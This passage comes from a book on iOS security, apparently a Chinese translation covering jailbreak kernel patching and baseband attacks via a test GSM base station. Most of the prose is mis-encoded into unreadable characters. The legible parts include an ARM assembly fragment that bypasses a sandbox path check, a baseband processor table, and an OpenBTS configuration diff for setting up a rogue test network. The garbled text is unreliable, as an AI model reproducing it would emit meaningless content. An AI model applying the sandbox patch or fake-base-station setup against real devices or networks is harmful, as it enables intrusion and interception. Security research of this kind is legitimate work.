ଋʽ౎ᄉ೜ಉԵ௦฽ណᡸफ़Տ௦ՠڙ/private/var/mobile/Library/Preferences˖ǌݟ౦௦ὋࡂЉ

᝴᝺᫇ὋՠѶុၸԓݼᄉူܪርࣿὙ�

    mov r0, sp 

    adr r1, preferences ;# "/private/var/mobile/Library/Preferences" 

    movs r2, #39 ;# len(preferences) 

    ldr r3, memcmp 

    blx r3 

    cmp r0, #0 

    bne actually_eval 

ၸ̅Љ᝴᝺᫇ᄉ̼ᆉ͗࠱ឞζোзٿ੝ଡΘᄉஜ૵ፆౝ˖ǌਆ˿ᝌఝܲጹᓫὋឯԟᏥኃ5ብ
˖ᄉᄰःЮࠓǌ�

allow: 

    # it's not in /var/mobile but we have a path, let it through 

    add sp, #0x44 

    pop {r0} 

    movs r1, #0 

    str r1, [r0] 

    movs r1, #0x18 

    strb r1, [r0, #4] 

    pop {r1-r4, pc} 

Фͷ̼ᆉᄉͺၸࡂ௦ઁ੯ᛠా͛ٿԓݼѥஜǌੇ ᤇʿ᣾௦˝ځᤇ᧖ʿᝦ᝶ᤇᦉѫ̼ᆉὋڙ͂

ಕэᄉAPIવ੔੾శǌ�

10. ⏙ぎ㓧ᄬ 
ःၸʼᤗЮನᛩʷ௦ॡኤӬᄉὋځ˝ஞ˓Юನ᪪ϷᦏڙԺឳз˄Ժ੯ᛠᄉЮߚ˖ǌځ൤ὋЮ

ನጞᄉథ஌ᣑᕲԺ̾ᄯଋڙԓ̼ݼᆉʼ੩ᛩʷὋᏪʿᭉ᜵இԪЮాߚᬌǌ׬ʶᄉ᳣ཐࡂ௦Ὃڙ˝

Юನ੩ᛩʷௐॸᮋຌቆCPUᄉૈ̽ᎀ֖ߚஜ૵ᎀߚὋՠѶᡔ࿜ࢹХ੝ϡᄉνஇԺᑞ෤กበԀ༎าǌ 
iOSЮನ࠭Ѣ˿ࠃဗឞᄫᄉ੝ᭉᄉˏ˓ѥஜὋඇॆ໣วஈѣథ஌ᣑᕲᭉ᜵ᄯଋ˝Юನ̼ᆉ੊

ஜ૵੩ᛩʷௐὋࡂःឞុၸᤇˏ˓ѥஜǌ˝˿ຌቆૈ̽ᎀߚὋੇ͂ᭉ᜵ុၸinvalidate_ 

icache()ѥஜǌឞѥஜథ3˓ԟஜὋኃʶ˓ԟஜ௦ᭉ᜵ຌቆᄉЮߚӜ۪ᄉڦڠὋኃ̃˓ԟஜ௦ឞ

Ӝ۪ᄉ᫁ऎὋᏪኃʻ˓ԟஜःឞ௦0ǌ 
ၸ̅ຌቆஜ૵ᎀߚᄉѥஜ௦flush_dcache()ὋᏪ˄߱΍ၸᄉ˶௦ʼᤗ3˓ԟஜǌ 

10.4.4� ᅝܼ䖨ಲ 

௦̾ʶሗ࣯ыѽᖿᄉழयࡂፂᜁԨ๖˧ՐὋқʽᄉ̂ࣂᬌ३ҁଡӣǋЮನᄉ߶Кҩᑞᦏాڙ

ሎधЮನ˿ǌᤇ˝ᄉ௦᫸ൢЮನԪ३ʿሶ߿੊௦በԀ࢜ຳǌ᜵ϡҁᤇʶཁὋੇ͂᤯࣡Եᭉ᜵ઁ᤯
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ၸCPU࠘٧ߚᤆԓ੆ុၸЮನథ஌ᣑᕲ˧ґᄉϘὋཨՐᤄࣂٿፂγߚᄉርࣿ᝟ஜ٧ǌڙЮನಖᎀ

уӜຼѢᄉৰх˖ὋᤇԺᑞ௃กࠃဗὋځ˝ಖ˖ᄉࠃᬄϘࣂፂᜁᎀуӜຼѢ᜷ᄥ˿ǌݟ౦Ѣဗᤇ

ሗৰхὋࡂԺᑞ᜵ᤄٿ˧ґలᜁᆠڭᄉ౼˓ಖࣜ˿ǌ 
ԲʶሗᤝѢЮನᄉழय௦ុၸЮನѥஜthread_exception_return()ǌڙ˝ځЮನ˖෤

థࠪःឞѥஜᄉቿՁὋ੝ܷ̾ࠑᭉ᜵᤯᣾ഴयੲଠ੊᤯᣾ࠪФ̓ԡलၸᄉੲଠ੼ҁឞѥஜǌ߱ ڙ

Юನ˖ᄉͺၸ௦Ὃॆ෤กࡘधಖࣜௐὋ̯ࡂឯය੯ᛠాᄉऩ࣡࿃খ˖ুܬ᣾౎ὋጻൢॆґᄉЮನ

ጲርǌځ൤Ὃੇ͂Ժ̾ѽၸ̯߱໣วஈѣథ஌ᣑᕲሎधЮನǌʿ᣾ὋԵ᜵థԺᑞὋ;ᤆ௦ःឞ᤯

᣾ᤄൣٿᆷಖࣜሎधЮನὋځ˝ʿᤇಧࡂ෤กγ᝼ሎधЮನՐЮನᤆ̅ܪሶ߿࿃খǌ 

10.5� ᇣ㒧 

ຆᄉᡔ࿜੾శὋ̭ፀ˿˝̣˥᜵΍ၸᡔ࿜᣾ᄉݟఴብ˖ຆЙ˿ᝌ˿ܷܲஜ̠ᦏᝯᖅڙ͂ੇ

iPhone὇Ꮺʿ௦ԓԇྟ੊ၸ̅धԦःၸᄉiPhoneὈᤈᛠ߶КᆐቂὋᏪ˄ᝦ᝶˿ʿՎዜۋᡔ࿜ࢹХ

ᄉ͕Ꭴཁǌ 
ੇ͂ѫౡ˿redsn0wᡔ࿜ࢹХᄉЮᦉࢹͺԓူὋࣲ ʶ൥൥ڠ˿ᝌ˿ᡔ࿜᣾ርᄉඇ˓൥ᰠǌᤇ

ःឞ௙ᆷ˿ᡔ࿜᣾ᄉiPhoneˀԓԇiPhone˧ᫍࠃڙၸব֖߶Кবழ᭦ᄉӜѾǌ 
ੇ͂ᤆ̭ፀ˿ᡔ࿜ࢹХःၸᄉЮನᛩʷὋࣲ ᝦ᝶˿ඇ˓ᛩʷᐿՐᄉͺၸ఺҃ǋݟʹ੼ҁ᜵੩

ᛩʷᄉڦڠὋ̾Ԣၸ̣˥ழय౎੩ᛩʷǌڙ˿ᝌᤇ̎ЮࠓՐὋܷࠑःឞᑞઁᤇ̎ᛩʷሧೱҁ̾Ր

ᄉiOS˖ὋʿвॸᮋΙ᭤ᡔ࿜ᇪӜ˿ǌ 
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෎ᏺᬏߏ 

 
iOS᝹ܫ˖ᄉᚃቖᎩፎ᤯ζಖᤁᛠڙ˃᫂ᄉᔆྞʼὋᤇ˓ᔆྞࡂ௦ஜ٧ူܪ۲ࣛߙ὇digital 

baseband processorὈǌݟ౦ஈѣᏧଌ҃˿iPhoneᄉ۲ࣛቪὋࡂԺ̾੯ᛠՉሗˀ᝹ܫᄉႂពҩᑞథС

ᄉஈѣὋඊݟᄢଌ౎ႂ֖Ԝႂǋ੩ႂពǋԦᤞ֖વ੔ᆀζǋવ੔IPึ᧙Ὃ̾Ԣ᤯᣾༎าᒬҮःኔ

౎ႂҩᑞઁiPhoneԪ੆ʶ˓ᤉር༎าᄉ᳠А᮲ǌఴብଉᝦ۲ࣛڙʹݟᣃ͇ಖ˖ᝎԦЮߚᆠڭὋࣲ

ଉጉஈѣᏧ٧ူܪ۲ࣛڙʹݟʼ੯ᛠᒬ߿˦̼ᆉǌ᜵᤯᣾ቆ˖ଋԯஈѣ᝹ܫὋஈѣᏧԺᑞ᜵ڙᡛ

ܴˀᄫಕ᝹ܫᤈᛠ᤯ζᄉᡯሎЮ᝹Ꮅʶ˓ึඟ۲ቢ὇1-11ڎݟ੝ᇧὈǌ 

 

�1-11ڎ ᤉር۲ࣛஈѣᄉ۲ఴৰ् 

ʿ᣾۲ࣛஈѣʿʶ߿௦ᤉርஈѣǌڙॡ᫁ʶൿௐᫍЮὋ᯵΍̠͂ᆐቂ۲ࣛಖ˖ЮߚᆠڭᄉҮ

Ҧ௦ᝌᩙiPhoneᄉᭉයǌᤇ௦ڙ˝ځॡܲࠑڍiPhone௦̾ᛩ᠚͈Ѣ׫ᄉὋၸਖ਼ڙ᠓˻ௐ᜵ˀᤁᖸ

ឞ׫Ὃ૤ፄ˿ՋጝᄉiPhoneԵᑞ΍ၸၿѢ̅ڙኣᝠʶ͊ˀ੣఺૤ፄᄉ᫁యՋጝǌᤇಧϡᄉᎤཁ׷

఺ᄉᤁᖸ׷ଡΘᄉSIMӴǌᏪᤇሗࠪSIMӴᄉ೜ಉ὇˶ࡂ௦੝៊ᄉᎩፎᩙὈ௦ၿឞ఺ᄉ۲ࣛူܪ

ڠʶᓉሥ˝ఴڭஶᄉǌˀᥦ̎᤯᣾ቆ˖ଋԯᤈᛠஈѣᄉ໣วᄰࠪःὋᤇ᧖᜵ѽၸᄉ໣วᆠࠃ٧

὇localὈ໣วǌ 

ኃ ��ብ
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ఴብԵСซ᤯᣾GSMቆ˖ଋԯᤈᛠᄉஈѣˀ᤯᣾AT̽֐ᝌౡ٧ᤈᛠᄉఴڠஈѣǌᙉཨူ᝶ʼ

ᝮ᧪ࠪCDMA὇Code Division Multiple AddressὋᆉѫܲڦὈቆ˖ଋԯᄉஈѣ˶௦Ժ̾ࠃဗᄉὋͭ

௦ᖌ३᝹ᎵึඟCDMA۲ቢ੝ᭉᄉᆵ͇֖ᣃ͇᜵ᬱ३ܲὋᏪ˄ੇࣲ͂෤థᆐቂ᣾᧪ࠪᰳ᤯CDMA
ಖᄉஈѣὋᏪ˄ᄫґ˶෤థᄹҁѾ̠Мध᣾ᄰСᄉᆐቂ੆౦ǌՎಧὋᙉཨUMTS֖LTEᤇಧᄉளʶ

̼ᚃቖᎩፎ੾శଡΘ˿˗ࠜ३ܲᄉԩஈѣ᭦Ὃͭ௦ఴብࣲʿ͗Ꮵᘼ᧪ࠪᤇ̎੾శᄉஈѣǌ 
ʿ᣾ڙ˿ᝌ੝ଠᤗஈѣᄉ᜵ཁ˧ґὋੇ͂ᯪЎᄹʶʽᄫಕဖܑǌࡂϷःၸ٧ူܪᥦಧὋ۲ࣛ

 ௦۲̅ARMᄉCPUὋࣲͭʿ௦ᤁᛠiOSὋᏪ௦ᤁᛠᅋʶሗ˃᫂ᄉRTOS὇Real-Time˶٧ူܪ
Operating SystemὋࠃௐୱͺጆፑὈǌʿՎۋՁᄉiPhone֖iPadథᅋʿՎᄉ۲ࣛ٧֖ူܪʿՎᄉ

RTOSǌᛪ11-1ѴѢ˿ՉሗۋՁᄉ᝹ܫԢФ΍ၸᄉᄰः۲ࣛ٧֖ူܪRTOSǌ 

㸼11-1� iOS䆒໛ЁՓ⫼ⱘ᭄ᄫ෎ᏺ໘⧚఼ 

໘� ⧚� ఼ Փ⫼ℸ㢃⠛ⱘ䆒໛ RTOS 

ᔭᮺёS-Gold 2὇ARM 926Ὀ iPhone 2G Nucleus PLUS὇Mentor GraphicsὈ 

ᔭᮺёX-Gold 608὇ARM 926Ὀ iPhone 3G/3GSǋiPhone 3G὇GSMὈ Nucleus PLUS὇Mentor GraphicsὈ 

ᔭᮺёX-Gold 618὇ARM1176Ὀ iPhone 4ǋiPad2 3G὇GSMὈ ThreadX὇Express LogicὈ 

ᰳ᤯MDM6600὇ARM 1136Ὀ iPhone 4὇CDMAὈiPad2 3G὇CDMAὈ REX on OKL4὇ᰳ᤯Ὀ 

ᰳ᤯MDM6610὇MDM6600ᄉԪ्Ὀ iPhone 4S REX on OKL4὇ᰳ᤯Ὀ 

⊼ᛣ ̂ࠃʼὋ۲ࣛ٧ူܪӉդ˿CPU˧ܰᄉူܪӬЊúúၸ̅ྫྷူ҃ុࡎ/ᝌុᄉDSPǌڙ

S-Gold 2۲ࣛ٧ူܪ˖ὋᤇʶDSP௦Teakliteನॶ὚Ꮺᛪ˖ѴѢᄉФ̴۲ࣛ٧ူܪ˖΍ၸᄉ

௦ARM7TDMIನॶǌ 

11.1� GSM ෎⸔ⶹ䆚 

GSM௦ʶݒஜߙᚃቖ᤯ζಕэǌ߱ ௦20ڙˆጡ80ࣱ̼ၿൖฮᥪႂክူ͗ᝫ὇CEPTὈधԦᄉὋ

1992ࣱधԦࢹͺᜁሧ̓ፋ˿ൖฮႂζಕэӐӨ͗὇ETSIὈǌGSM௦ኃ̼̃ሧҮႂព੾శὋᜁၸ̅

 Ӝᄉ᥀20̢੣఺ၸਖ਼ଡΘనҫǌڠ֖ࠑڍ˓200ܲ˝
ᬄႂζᐎᄩ὇ITUὈ˝GSM੾శѫᦠ˿14˓ʿՎᄉᮟࣛὋͭᄫґԵၸҁ˿Ф˖4˓ǌӑᎾڍ

Ӝ΍ၸᄉ௦GSM-900֖ڠӜ΍ၸᄉ௦GSM-850֖GSM-1900ὋᬓӮᎾ֖˖Ꮎฮ˧ܰᄉˆႌФ̴ڠ
GSM-1800ὋᏪӮᎾ˞᜵΍ၸGSM-850֖GSM-1900Ὃͭ˶ڙߚʶ̎Βܰǌ੝థஂ૆GSMᄉiOS᝹
Ꮅधըͮ˥̣ڙǌʿክܫᮟ᝹ٽᦏ௦Վௐஂ૆GSM-850ǋGSM-900ǋGSM-1800֖GSM-1900ᄉܫ

ᒬࣁᄉ᝹ܫὋ଼ጉζՁௐᦏ଼͗ጉᤇ4˓ᮟࣛʼᄉ੝థζ᥊ǌ 
ဗڙ౎᣽ᤳҕౡʶʽGSMӨᝫಖǌࡎူྫྷڙʼὋGSM΍ၸGMSK὇Gaussian Minimum Shift 

KeyingὋᰳலణ࠴ᮟሧ᪃ଌὈͺ˝ុ҃ഴयὋζ᥊ࠔऎ௦200 KHzὋඊྱညܷጝ˝270.833 kbit/sǌ
߱Վௐѽၸ˿FDMA὇Frequency Division Multiple AddressὋᮟѫܲڦὈ֖TDMA὇Time Division 
Multiple AddressὋௐѫܲڦὈ੾శǌ˝˿ᑞՎௐԦᤞ֖ଋஅஜ૵Ὃ߱ၸ˿ᮟѫԤࢹ὇Frequency 
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1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

Division DuplexὈ੾శὙࠪ ̅ඇ˓ᮟࣛ౎ឬὋMS὇Mobile StationὋሧҮԻὈˀ BTS὇Base Transceiver 
StationὋ۲ቢஅԦԻὈ˧ᫍᄉ͛ᣤᦏ௦ڙၸ߿ڌᄉԤࢹᡯሎѫᬥѢᄉˏ˓ʿՎᮟညʼࠃဗᄉǌ̯

MS͛ᣤҁBTSᄉஜ૵௦᤯᣾ʼᛠᩖᡸ὇uplinkὈԦᤞᄉὋࠪःᄉᄰԥழՓѶԶͺʽᛠᩖᡸ

὇downlinkὈǌڙၿTDMAഴय߿˦ᄉྫྷူζ᥊ʼὋቆ˖ଋԯᄉL1ࡎѫ࣊ᅋॡܲ᤾ᣣζ᥊Ὃᤇ̎᤾

ᣣζ᥊ᜁ௡࠰ҁܲᡸܬၸᄉྫྷူζ᥊ʼǌܲڙߚሗʿՎዜۋᄉ᤾ᣣζ᥊὇ੇ͂ڙᤇ᧖ʿ͗ຆЙ̭

ፀὈὋᏪ߱͂ѷݝԺ̾ѫ੆ˏܷዜὙၸ̅ၸਖ਼ஜ૵͛ᤞᄉˉҫζ᥊὇traffic channelὈ̾ԢڙBTS
֖MSᫍ͛ᤞζ̽ζো὇ඊͮݟᎵఝளὈᄉζ̽ζ᥊὇signaling channelὈǌ 

ᮊᅋUmଋԯڙGSMӨᝫಖ˖ፘ፝ʼᛠࡂҁ᣹˿L2ࡎúúLAPDmӨᝫࡎὋ߱ ௦ISDNᄉLAPD
὇Link Access Procedure of D-ChannelὋDζ᥊ᩖᡸଋЙ᜺ርὋITU Q.921ὈᄉᛡၶྫྷὋࣲᑞᝧ̠ᐎ

ਆҁHDLC὇High-Level Data Link ControlὋᰳጞஜ૵ᩖᡸଌ҃ὈǌڙL2ࡎʼ͛ᣤᄉஜ૵ᦏ௦ፂ᣾

ᜈᄉὋ᜵˥΍ၸలᎃՁᄉζো࠯ ὇ࣜݟ౦ʿᭉ᜵ःኔǋึ ଌ֖҃L2ࡎ጗ᩱὈὋ᜵˥΍ၸζো ὇ࣜଡ

Θ˿ᐯ߿ःኔǋึଌ֖҃L2ࡎ጗ᩱὈǌL2ࡎᄉCEP὇Connection End PointὋᤋଋቪཁὈ௦ၸ੝៊

ᄉDLCI὇Data Link Connection IdentifierὋஜ૵ᩖᡸᤋଋಕខቿὈᛪᇧᄉὋᏪDLCIѶ௦ၿSAPI
὇Service Access Point IdentifierὋనҫଋЙཁಕខቿὈ֖CEPI὇Connection Endpoint IdentifierὋᤋ

ଋቪཁಕខቿὈᤇˏᦉѫጷ੆ᄉǌ 
GSMӨᝫಖᄉL3ࡎథ3˓ࡎߔὋѫѾ௦RR὇Radio Resource ManagementὋ௃ጲᠪຸክူὈǋ

MM὇Mobility ManagementὋሧҮবክူὈ֖CM὇Connection ManagementὋᤋଋክူὈǌRRࡎ

ܫˀ᝹ူܪᄉͺၸ௦ࡎMS֖MSC˧ᫍतበᩖᡸὋࣲ˝൤ѫᦠ֖ᦠᎵ˿˃᫂ᄉζ᥊ǌMMڙ᠉᠆

ሧҮবథСᄉՉ˓ழ᭦὇ඊͮݟᎵክူὈὋᤆ᠆᠉ሧҮၸਖ਼ᄉᢵ͊ᰍ᝼ǌᏪCMࡎᤆԺ̾ᤈʶ൥ѫ

˝3˓ʿՎࡎߔὋᤇ3˓ࡎߔᦏ௦ࣰጞᄉὋʿ௦ʼʽࡎԮᄉСጆὋ߱͂ѫѾ௦᠆᠉तበ֖ઞᬓ֏Զ

ᄉCC὇Call ControlὋ֏Զଌ҃ὈࡎߔὋ̾ ԢSS὇Supplementary ServicesὋᛩЌˉҫὈ֖ SMS὇Short 
Message ServiceὋᆀ๖োనҫὈǌՐˏᏧ௦࿗በ̅֏Զ˧ܰᄉǌ2-11ڎኤӬࡘᇧ˿۲ࣛ٧ူܪʼᤁ

ᛠᄉᚃቖᎩፎಖଡΘᄉGSM Umଋԯǌ 

 

�2-11ڎ GSM Umଋԯѫࡎ 
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11.2� ᓎゟ OpenBTS 

ᤂࣱ̎౎Ѣဗ˿ˏ˓धຸᮉᄫὋ߱ ͂धݼౝतၸ̅तበ֖ᤁᛠGSMᎩፎᄉᝌфழ಴ǌᤇ௬ᗂ

ᬋͯ˿ᤈᛠGSM߶Кᆐቂᄉԟˀ੆ఴὋФࠃథ̠Ժᑞ͗ឬᤇ˶௦ᝧʶᓉᳫࠆᑞథ஌੯ᛠ۲ࣛஈѣ

ᄉС᪃͇̂ǌᙉཨˏ˓ᮉᄫúúOpenBSC֖OpenBTSúúᄉᄫಕᄰͪὋͭ߱͂᧓ၸ˿ʿՎᄉࠃဗ

ழกǌOpenBSCѽၸ௄థᄉ׷ၸGSM۲ቢஅԦԻ὇BTSὈὋࣲᡐҁ۲ቢଌ҃٧὇BSCὈᄉͺၸǌ

ᏪOpenBTSѶ΍ၸᣃ͇߿˦ᄉ௃ጲႂúúUSRP὇Universal Software Radio PeripheralὋ᤯ၸᣃ͇

௃ጲႂܰ᝹ὈࣰԻὋ߸К̾ᣃ͇ழयᤁᛠGSM۲ቢ὇Ӊહុ֖҃ᝌុὈǌOpenBTS࠱ᤁᛠGSM۲

ቢᄉᆵ͇੆ఴђ࠵ҁ˿2000ᎾЊ̾ʽǌଋʽ౎ੇ͂͗សጹ̭ፀݟʹᒬᛠౝतၸ̅฽ណᄉۋ࠴GSM
Ꭹፎǌ 

⊼ᛣ GSM௦ڙᭉ᜵ᖌ३᝴Ժᄉᮟ៧ʼᤁᛠᄉǌڙ෤థԨ३ॆڠᄢክᦉ᫂᝴ԺᄉৰхʽὋі˪

ᄉࣁፘ፝ୱͺ˧ґὋឯ֦លᒬڙᤁᛠGSM۲ቢᦏ௦ᤊกᄉǌ੝̾ࠑڍ˓ႌʼ͉ʹʶˆڙ

ก।ᮎ֖᫇ॆڠᄢክᦉ᫂ὋࣲᖌԨॸ᜵ᄉ᝴Ժǌ 

11.2.1� ⹀ӊ㽕∖ 

OpenBTS΍ၸ˿ᣃ͇߿˦௃ጲႂᄉழयࠃဗUmଋԯᄉBTSቪǌ᜵΍ၸOpenBTSᤁᛠGSMᎩ

ፎὋॆґᭉ᜵΍ၸၿEttus ResearchМՂ὇ဗ˝Ꮎ٧̀ࠑڍڍМՂ੝థὈѢֵᄉUSRP὇Universal 
Software Radio PeripheralὋ᤯ၸᣃ͇௃ጲႂܰ᝹ὈὋల౎OpenBTSᤆԺᑞஂ૆ఝܲᄉᣃ͇߿˦௃ጲ

ႂ᝹ܫǌUSRPӉդ˿ᔩ࣯˓ᤋଋҁFPGA὇Field Programmable Gate ArrayὋဗڣԺᎃር᫂᫻ѴὈ

ᄉADC὇Analog-Digital ConverterὋഴஜᣀ૰٧Ὀ֖ DAC὇Digital-Analog ConverterὋஜഴᣀ૰٧Ὀǌ

಩૵ХͳᄉۋՁὋUSRPԺ̾᤯᣾USBଋԯ੊ӡЍܹ̾Ꭹଋԯˀ˞఺᝟ኪ఺ᤈᛠ᤯ζǌࠃᬄᄉ࠰

ᮟᆵ͇Ӊդڙ੝៊ᄉþߔ౛ÿ˖ὋᏪߔ౛ᭉ᜵߶ᜈҁUSRPᄉආ౛ʼǌEttus଍Ѣ˿ܲሗ᜷ᄥGSM
ᮟൿᄉஅԦߔ٧౛ὋԀ᜷ᄥ750 MHzҁ1050 MHzᄉRFX900ǋ᜷ᄥ1.5 GHzҁ2.1 GHzᄉRFX1800Ὃ
̾Ԣ᜷ᄥ50 MHzҁ2.2 GHzᄉWBX౛ǌᤇ̎ߔ౛ᦏ௦Ժ̾ՎௐஅԦᄉǌʿ᣾ឯซ਒ὋڙԵ΍ၸʶ

௛Ѣဗଋஅႂᡸ͛ᣤζՁ෹᭚ᄉৰхὋᤇಧܷܷ͗ᬌ҃ጆፑᄉࠓ౛ᤁᛠUSRPᄉৰхʽὋॡߔ˓

ᮟൿǌ଍ᕚᄉᦠᎵ௦ၸˏ˓RFXߔ౛ᤁᛠOpenBTSǌᤆథʶཁᭉ᜵ซ਒ὋԀԺ̾ᄯଋ᤯᣾҄ள

EEPROMᝧRFX1800ߔ౛ᣀ૰੆RFX900ߔ౛ǌʿ᣾ὋԓၶᄉRFX900ߔ౛Ӊդં҃900 MHz ISM
ᮟൿ὇ᮟညᔴډὙ902 MHz~928MHzὈܰζՁᄉ໙จ٧ǌځ൤Ὃݟ౦᠓˻˿RFX900ߔ౛ͺ˝Ԧ

ᤞቪὋ;ࡂᭉ᜵̯ߔ౛ʼԄʽISM໙จ٧Ὃ੊௦ᬌ҃ᒬࣁ΍ၸARFCN὇Absolute Radio Frequency 
Channel NumberὋፏࠪ࠰ᮟζ᥊ᎃՁὈ˝975~988ᄉEGSM900ᮟൿǌ 

᥋ਲ਼ᄉ௦ὋUSRP᝹ܫᄉЮᦉௐ᧾ܹʿዴᆷ˿Ὃ̾ᒯ̅Եᑞγ᝼ణʿૌҔᄉ੣఺Ժ᭤ᤁᛠǌ

൤ܰὋੇ͂ʿ଍ᕚ˝GSMઁUSRPᤁᛠ64ڙ MHzᄉᮟညὋ;ःឞ΍ၸGSMඊྱညᄉυஜὋ̯Ꮺᝧ

ʽ᧓ಧఝᰳ஌ǌࠪ ̅GSMᏪᝒὋڙ੣఺˖̠͂᤯࣡͗΍ၸ13 MHz὇GSMඊྱညᄉ48υὈ੊26 MHz
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ᄉԟᏥௐ᧾౎᣹ҁᤇʶᄫᄉὋᏪUSRPణ࣡ᤤસ΍ၸ52 MHzᄉௐ᧾ǌʿ᣾Ὃܷࠑ˶Ժ̾˝USRP
ଡΘܰᦉௐ᧾ζՁ̾ᝌфᤇˏ˓᫇ᮤǌซ਒Ὃ̋ USRP1ଡΘܰᦉௐ᧾ζՁᭉ᜵ੇ͂ࠪUSRP1ආ౛

ᤈ ᛠ ᧗ ள ᝟ ௐ ᄉ ν இ Ὃ ᤇ ๗ Ԣ ʶ ̎ ᛪ ᭦ ᠚ ᜈ ཛྷ ଋ ᄉ ࢹ ͺ ǌ ClockTamer ᄉ ߶ ᜈ ᮅ᭦

὇https://code.google.com/p/clock-tamer/wiki/ClockTamerUSRPInstallationὈʼଠᤗ˿ᤇ̎൥ᰠǌ

ClockTamer௦ʶሗۋ࠴ௐ᧾Ԧၶ٧ὋԺ̾ᤤၸၿʶࠑՏ˝FairWavesᄉΨᎬலМՂၶ̖ᄉGPSՎ൥

ᜈᎵὋᏪ˄ᤆ௦˓धຸᄉᆵ͇ᮉᄫǌឞഴڰৌݝᑞᜈЙUSRPᄉܰܦ˖ǌ 
ࠪ̅ᣖளᄉUSRP὇ඊݟUSRP2Ὀ౎ឬὋੇ ͂ʿᭉ᜵ᤈᛠE1x0ǋN2x0֖B1x0᧗ள᝟ௐᄉνஇὋ

Ժ̾ᄯଋઁௐ᧾ζՁଡΘፋܰᦉௐ᧾ᣤЙǌʿ ᣾᜵ซ਒ᄉ௦Ὃᤈᛠᤇ̎ୱͺᭉ᜵ஂ૆UHD᝹ܫᄉ

OpenBTSྟఴǌ 

⊼ᛣ OpenBTS 2.8Ԣ˧Րྟఴ᳭ᝢஂ૆UHD᝹ܫὋͭOpenBTS 2.6᳭ᝢʿஂ૆ǌܷࠑԺ̾ڙ

https://github.com/ttsou/openbts-uhd੼ҁஂ૆UHD᝹ܫᄉOpenBTS 2.6ѫஂǌ 

11.2.2� OpenBTSⱘᅝ㺙੠䜡㕂 

ᦠᎵǌఴ˹ᄉ࠴ᜈOpenBTSࣲ᝹Ꮅၸ̅ध᝹ৎ਒۲ቢᄉణ߶ʹݟᇧࡘࠑᤇ᧖᜵Փܷڙ͂ੇ

ᬣ˹౅஧὇www.wiley.com/go/ioshackershandbookὈӉդʶ˓VirtualBox᪪ϷὋڙᯪ൒ल࠭ௐ͗

߶ᜈ̾52 MHzௐ᧾ᤁᛠUSRP1੝ᭉᄉΙᠺ஠͇ὋཨՐࡂԺ̾ͺ˝฽ណ۲ࣛஈѣᄉ߸ܫ฽ណဖܑ

΍ၸ˿ǌ 
ʽ᭦௦OpenBTS 2.6Ԧ࣊ྟ˖ᄉᇧΒᦠᎵ̾ԢఴብᬣՐ΍ၸᄉᦠᎵ˧ᫍᄉፑʶӜѾὙ 

--- OpenBTS.config.example     2012-03-12 11:20:43.993739075 +0100 
+++ OpenBTS.config      2012-03-12 11:31:27.029729225 +0100 
@@ -30,3 +30,3 @@ 
 # The initial global logging level: ERROR, WARN, NOTICE, INFO, DEBUG, DEEPDEBUG 
-Log.Level NOTICE 
+Log.Level INFO 
 # Logging levels can also be defined for individual source files. 
@@ -86,4 +86,4 @@ 
 # YOU MUST HAVE A MATCHING libusrp AS WELL!! 
-TRX.Path ../Transceiver/transceiver 
-#TRX.Path ../Transceiver52M/transceiver 
+#TRX.Path ../Transceiver/transceiver 
+TRX.Path ../Transceiver52M/transceiver 
$static TRX.Path 
@@ -182,3 +182,3 @@ 
 # Things to query during registration updates. 
-#Control.LUR.QueryIMEI 
+Control.LUR.QueryIMEI 
 $optional Control.LUR.QueryIMEI 
@@ -197,3 +197,3 @@ 
 # Maximum allowed ages of a TMSI, in hours. 
-Control.TMSITable.MaxAge 72 
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+Control.TMSITable.MaxAge 24 
 
@@ -259,3 +259,3 @@ 
 # Location Area Code, 0-65535 
-GSM.LAC 1000 
+GSM.LAC 42 
 # Cell ID, 0-65535 
@@ -286,5 +286,5 @@ 
 # Valid ARFCN range depends on the band. 
-GSM.ARFCN 51 
+#GSM.ARFCN 51 
 # ARCN 975 is inside the US ISM-900 band and also in the GSM900 band. 
-#GSM.ARFCN 975 
+GSM.ARFCN 975 
 # ARFCN 207 was what we ran at BM2008, I think, in the GSM850 band. 
@@ -295,3 +295,3 @@ 
 # Should probably include our own ARFCN 
-GSM.Neighbors 39 41 43 
+GSM.Neighbors 39 41 975 
 #GSM.Neighbors 207 

ឯ಩૵३ҁ΍ၸాᬌᄉᮟည࠴ॶុஞGSM.ARFCNǋGSM.Band֖GSM.Neighboursǌ�

ซ਒Ὃ᳭ᝢৰхʽܷࠑ௦ڙधஉᦠᎵ὇open configurationὈʽᤁᛠOpenBTSᄉὋᤇ਒։ᅋ͉

ʹណڎซбҁឞ฽ណᎩፎᄉሧҮ᝹ܫᦏ͗ᜁ᝴ԺЙᎩǌᤇಧ͗ࣛ౎ʿॸ᜵ᄉҝͺၸὋྱ Ѿ௦ڙ෤

థ᤟ॆᬌ҃͛ᣤҩည֖὇੊ὈڙܪФ̴ᎩፎԵథॱिζՁᄉৰхʽௐǌ᝹ܫԺᑞڙʿፂ਒ᫍࡂ໫

ຣҁܷࠑ᝹Ꮅᄉ฽ណᎩፎǌ˝ᥗБᤇሗৰхὋܷࠑԺ̾ၸ᫆࠯ᦠᎵ὇closed configurationὈᤁᛠ

OpenBTSὋ᜵යඇ˓IMSI὇International Mobile Subscriber Identification NumberὋڍᬄሧҮၸਖ਼ខ

ѾᆉὈᦏซбҁAsteriskǌ 
Ժࠑःឞ੯ᛠኤӬᄉ೜ಉὋᄹᄹʶѬ௦ՠ᝹Ꮅൣᆷǌࠪ̅ఴ฽ណὋܷࡂ;ᤋଋ˿ᆵ͇ՐὋڙ

̾΍ၸtestcallҩᑞὋᏪ˄˧ՐᤆԺ̾ѽၸ߱͛ᣤԓݼᄉGSM L3ࡎ๖োǌᯪЎὋੇ͂᜵߶ᜈ

libmichं ὇https://github.com/mitshell/libmich὚ݟ౦΍ၸੇ͂ଡΘᄉᘾ઱఺ὋѶʿᭉ᜵ᤇʶ൥ὈὋ

߱ᄉͺၸ௦ѽၸPythonଋԯѸतL3ࡎ๖োǌଋᅋὋըҮOpenBTSࣲ࠱ᒬࣁᄉiPhoneซбҁ฽ណᎩ

ፎǌᔩ᜵ᤤસឞ฽ណᎩፎὋឯڙþ᝹Ꮅÿःၸᄉþᤁᖸ׷ÿᤤᮉ˖ሄၸᒬҮᤤસὋࣲ੣ҮᤤસՏ

˝00101ᄉሧҮᎩፎǌ 
૆࠵౦ᄹʿҁ฽ណᎩፎ੊௦෤กซбҁ฽ណᎩፎὋ;Ժ̾ЎઁiPhone᝹Ꮅ੆ᮺᛠഴयὋᒯݟ

